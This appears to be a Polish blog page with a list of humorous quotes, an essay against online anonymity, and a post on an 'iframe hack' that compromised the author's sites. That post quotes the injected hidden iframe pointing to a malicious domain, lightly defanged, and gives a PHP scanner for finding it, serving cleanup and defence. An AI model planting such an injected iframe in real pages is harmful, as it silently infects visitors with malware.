Cytaty

Czasem trafiam na fajne teksty, najczęściej niemądre, postanowiłem je tu zbierać. Gdyby ktoś miał ochotę coś dorzucić — zapraszam :)

  • Kajakiem spływ potemsportowe
  • Wytrzyj kurze! ornitologiczne
  • Piwo Strzelec jest bardzo dobre z billboardów piwa Strzelec
  • Świerzbionka własne
  • Boeuf Ostrogonow własne
  • Kotlet De Voilaj z dworca PKP we Wrocławiu
  • Insert monet z boksów na bagaż na dworcu PKP we Wrocławiu
  • Powiększ penisa, opóźnij wytrysk Upominki za 5 groszy Kup Teraz! z Google Adwords

tożsamość incognito i pod przykryciem

Większość z nas, surfując tu i tam chętnie surfuje “pod przykryciem”, jak to ostatnio przetłumaczyła “undercover” gazeta.pl (a może PAP?). Wolelibyśmy nie ujawniać swoich tzw. danych osobowych, kiedy nie jest to konieczne. Już nawet Google’a zbieranie statystycznych danych jest oprotestowywane. Od początku swej popularności internet dawał, złudne zresztą, poczucie nierozpoznawalności. Przez strony WWW przewijały się, jak przez dworce kolejowe, masy czytelników. Pojawiła się jednak, wraz z falą tzw. Web 2.0, zmiana. Od blogów, przez fora po porównywarki cenowe, niemal wszędzie można dopisać coś od siebie. To oczywiście dobra zmiana, uwalniająca komunikację między ludźmi na niespotykaną dotąd skalę. Dawno już cieszyli się z tej zmiany np. autorzy manifestu cluetrain. Razem z tą skalą uwalniane są jednak rozmaite komunikacyjne potwory. Mnie zajął szczególnie jeden — anonimowość.

Zbiegło się ostatnio parę spraw, które mają ją za wspólną genezę. Czytając o aferze Kataryna-Czuma, o masowo fałszowanych opiniach, drobnych fałszerstwach, wreszcie nie czytając portali typu dupelek.pl, czy plutek.pl, cały czas mam wrażenie, że ta anonimowość niedobra jest. Gdy sam piszę tutaj, to każdy wykazując odrobinę zaangażowania jest w stanie sprawdzić, ktom zacz. Kiedy znowu postanowię wylać kubeł pomyj na ministra, żonę piłkarza czy nowy odtwarzacz mp3, to mogę użyć dowolnie wybranego nicka i nikt bez zgody sądu i/lub administratora nie pozna mojej tożsamości. A opinia w świat pójdzie. Gdyby była to moja prywatna opinia, pół biedy. Problem zaczyna się wówczas, gdy ktoś sypnie jakimś honorarium po 10 gr za autorski wpis. Autorsko zarabiając na życie, masy pracujące tworzą dowolnie fałszywy, zamówiony przez pracodawcę obraz dowolnego zjawiska. Konsekwencje są wiadome, fantastyczna zdolność Sieci do wyławiania potrzebnych informacji gnije i śmierdzi zdechłą rybą. Ponieważ jestem lekkomyślnym zwolennikiem przechodzenia do demokracji elektronicznej, trochę mnie ta słabość wirtualnego świata niepokoi.

Zastanawiam się, co można z tym zrobić. Wiadomo — administracyjnie nie da się nagle zabronić publikacji anonimowych treści, zresztą nie o to chodzi. Zależałoby mi na tym, żeby autor dowolnego wpisu mógł ujawnić swoją tożsamość. Takie posty, wpisy, komentarze byłyby wielokrotnie bardziej wiarygodne. Sfera anonimowa pozostałaby miejscem dla amatorów pomyj i wytrzymałych. Pierwsza rzecz, to ogólny standard typu OpenID, Windows LiveID czyli jakby paszport dostępny na każdej stronie w necie. Są też inne projekty, jak Liberty Alliance Project. Na szczęście nieźle to działa we wszelkich portalach społecznościowych wymuszających jawność osoby, jak nasz Goldenline czy Allegro. Mam tylko nadzieję, że biznesplany właścicieli innych opiniotwórczych stron uwzględnią “potrzebę konsumenta” i wypromują obywatelską bądź co bądź, postawę polegającą na podpisywaniu się własnym imieniem i nazwiskiem.

Czego wszystkim życzę,

Piotr Tomaszewski

iframe hack, czyli włamanie na FTP

Amerykańska armia testuje automatycznych żołnierzy, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja plików. Polega ona na dość prostym doklejeniu kodu do stron na FTP, który w niezauważalny dla użytkownika sposób ściąga z innej złoczynnej witryny szkodliwe oprogramowanie.

Również niniejsza strona i nasza główna — ntxt.net, zostały, jak mówią Amerykanie, skompromitowane. Piątego kwietnia we wszystkich plikach PHP i HTML o nazwach zaczynających się na ‘index’ pojawił się taki kawałek (dodałem gwiazdkę przed http):

<iframe src="*http://lotante.cn/in.cgi?income38"
width=1 height=1 style="visibility: hidden"></iframe>

Konkretny adres bywa różny, lista podejrzanych domen jest spora. Ten akurat podobno (bo nie sprawdzałem!) sprawdza obecność pluginu Flash luub Acrobat Readera, po czym ściąga spreparowany plik PDF albo SWF. Moim zdaniem warto mieć wyłączony domyślnie JavaScript, (w Firefoksie np. rozszerzeniem NoScript). Infekcja może spowodować że Google będzie sygnalizować zagrożenie przy wchodzeniu na stronę (jeśli ktoś to zgłosi, oczywiście). Oprócz pozbycia się robactwa z komputera, należy koniecznie zmienić hasło do FTP, unikając zapamiętywania go przez program. Total Commander w najnowszej wersji (7.5 beta) ma już ochronę haseł szyfrowaniem i hasłem głównym.

Trzeba też odnaleźć wszystkie zmiany poczynione przez bota na FTP, a to żmudne zajęcie. Odrobinę może pomóc taki skrypt w PHP, przeczesujący pliki zawierające ‘index’ w nazwie i sygnalizujący wystąpienia taga <iframe>. Aby z neigo skorzystać, trzeba zapisać go np. pod nazwą znajdziframe.php w katalogu ze stroną, ustawiając wcześniej zmienną $root na odpowiednią dla swojego serwera. Potem, z przeglądarki, wywołujemy go wpisując adres: http://mojserwer/znajdziframe.php?depth=10 i czekamy na listę podejrzanych (bo nie każdy iframe jest zły!). Parametr depth określa głębokość, na jaką w podkatalogi zagłębi się sprawdzacz licząc od katalogu głównego.

< ?
// katalog główny strony
$root = '/public_html';
 
// głębokość sprawdzania w podkatalogach
$depth = empty($_GET['depth']) ? 5 : $_GET['depth'];
 
// uruchomienie
digdir($root, $depth);
 
// rekurencyjna funkcja sprawdzająca
function digdir($dir, $level){
	if($level <= 0) return false;
	$handle = opendir($dir);
		while($plik = readdir($handle)){
			$path = "$dir/$plik";
			if(substr($plik, 0, 1)!="."){
				//$data = date("Y-m-d", filemtime($path));
				//$prawa = decoct(fileperms($path));
 
				if(!is_dir($path)){
					//$rozmiar = filesize($path);
					if(preg_match('/index/', $plik)){
						$contents = file_get_contents($path);
						if(preg_match('/iframe/', $contents)) echo "znaleziono iframe w $path<br/>";
					}
				} else {
					digdir($path, $level - 1);
				}			
			}
		}
	closedir($handle);	
}
 
?>

Next Page »